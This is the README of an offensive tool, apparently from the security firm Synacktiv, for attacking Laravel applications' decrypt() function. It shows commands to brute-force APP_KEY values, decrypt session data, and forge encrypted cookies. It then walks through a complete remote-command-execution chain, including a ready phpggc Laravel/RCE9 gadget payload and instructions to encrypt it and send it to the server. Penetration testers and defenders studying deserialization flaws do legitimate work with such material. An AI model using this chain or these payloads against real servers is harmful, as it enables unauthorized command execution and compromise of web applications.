synacktiv/laravel-crypto-killerA tool designed to exploit bad implementations of decryption mechanisms in Laravel applications.
A tool designed to exploit bad implementations of decryption mechanisms in Laravel applications.
This tool was firstly designed to craft payloads targeting the Laravel decrypt() function from the package Illuminate\Encryption.
It can also be used to decrypt any data encrypted via encrypt() or encryptString().
The tool requires a valid APP_KEY to be used, you can also try to bruteforce them if you think there is a potential key reuse from a public project for example.
Authors of the tool: @_remsio_ @Kainx42.
A helper can be used on each option to use the tool:
$ ./laravel_crypto_killer.py -h
usage: laravel_crypto_killer.py [-h] {exploit,encrypt,decrypt,bruteforce} ...
___ _ ___ _ __ _ _
(O O) (_ ) ( O_`\ ( )_ ( O) _(_ )(_ )
| | _ _ _ __ _ _ _ _ __ | | | ( (_)_ __ _ _ _ _ | ,_) _ | |/')(_)| | | | __ _ __
| | /'_` ( '__/'_` ( ) ( )/'__`\| | | | _( '__( ) ( ( '_`\| | /'_`\ | , < | || | | | /'__`( '__)
< |__ ( (_| | | ( (_| | \_/ ( ___/| | < (_( | | | (_) | (_) | |_( (_) ) < | \`\| || | | |( ___| |
<_____/`\__,_(_) `\__,_`\___/`\____(___) <_____/(_) `\__, | ,__/`\__`\___/' <__) (_(_(___(___`\____(_)
( )_| | |
`\___/(_)
This tool was firstly designed to craft payload targetting the Laravel decrypt() function from the package Illuminate\Encryption.
It can also be used to decrypt any data encrypted via encrypt() or encryptString().
The tool requires a valid APP_KEY to be used, you can also try to bruteforce them if you think there is a potential key reuse from a public project for example.
Authors of the tool : @_remsio_, @Kainx42
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
options:
-h, --help show this help message and exit
subcommands:
You can use the option -h on each subcommand to get more info
{exploit,encrypt,decrypt,bruteforce}
exploit Exploit mode
encrypt Encrypt mode
decrypt Decrypt mode
bruteforce Bruteforce potential values of APP_KEY. By default, all the values from the folder wordlists will be loaded.
$ ./laravel_crypto_killer.py encrypt -h
usage: laravel_crypto_killer.py encrypt [-h] [--key KEY] --value VALUE
optional arguments:
-h, --help show this help message and exit
--key KEY, -k KEY Key used by Laravel stored in APP_KEY in .env
--value VALUE, -v VALUE
Value of the string data you want to laravel cipher (it has to be base64 encoded!). The place where you put a gadget chain from phpggc basically.
--session_cookie SESSION_COOKIE, -sc SESSION_COOKIE
Add this option to format the ciphered value to exploit a Laravel Session Cookie (option SESSION_DRIVER=cookie). it should be a 40 character long hex chain
The decrypt function from Illuminate\Encryption is often used in Laravel applications. By default, it manages serialized data and ciphers it using Laravel secret key stored in APP_KEY.
namespace Illuminate\Encryption;
[...]
public function decrypt($payload, $unserialize = true)
{
$payload = $this->getJsonPayload($payload);
$iv = base64_decode($payload['iv']);
$decrypted = \openssl_decrypt(
$payload['value'], $this->cipher, $this->key, 0, $iv
);
if ($decrypted === false) {
throw new DecryptException('Could not decrypt the data.');
}
return $unserialize ? unserialize($decrypted) : $decrypted;
}
Laravel policy is, at the time, to not patch gadget chains.
Therefore a user able to send data to a decrypt function and in possession of the application secret key will be able to gain remote command execution on a Laravel application.
The following controller can be used to test the tool:
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
class EncryptController extends Controller
{
public function encrypt(string $toencrypt): Response
{
$result = encrypt($toencrypt);
return response($result, 200);
}
public function decrypt(string $todecrypt): Response
{
$result = decrypt($todecrypt);
return response($result, 200);
}
}
By using the APP_KEY value, it is possible to decrypt data with laravel_crypto_killer.
First, retrieve a value based from the encrypt function.
$ curl http://localhost/encrypt/aaa
eyJpdiI6IkczTHpUZkNHWk4yUnFUSjFrM2Q1WkE9PSIsInZhbHVlIjoiS1RLRXJRd01wTDJvZFZmbzl5SkFPQT09IiwibWFjIjoiMTFhZDJiM2Y2NDMzNjViMzNjMjg5MGI2ZTZlNTZkZjY2NTE0ZDhiMTc5ZmU0MGZiMDc5NzU4YWI0YTcxNTAwZSIsInRhZyI6IiJ9
You can then decrypt it if you are in possession of a valid APP_KEY.
$ ./laravel_crypto_killer.py decrypt -k CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA= -v eyJpdiI6IkczTHpUZkNHWk4yUnFUSjFrM2Q1WkE9PSIsInZhbHVlIjoiS1RLRXJRd01wTDJvZFZmbzl5SkFPQT09IiwibWFjIjoiMTFhZDJiM2Y2NDMzNjViMzNjMjg5MGI2ZTZlNTZkZjY2NTE0ZDhiMTc5ZmU0MGZiMDc5NzU4YWI0YTcxNTAwZSIsInRhZyI6IiJ9
[+] Unciphered value identified!
[*] Unciphered value
s:3:"aaa";
[*] Base64 encoded unciphered version
b'czozOiJhYWEiOwYGBgYGBg=='
[+] Matched serialized data in results! It's time to exploit unserialization to get RCE mate!
If a serialized data is identified in a decryption result, you will probably be able to get a Remote Command execution. To do so, use phpggc developped by Charles Fol to generate a gadget chain. It is better to try to match the version of PHP to use.
$ php7.4 phpggc Laravel/RCE9 system id -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoyOiJpZCI7fX0=
You can then use this value, encrypt it with laravel_crypto_killer, and finally send it to the server to get your RCE!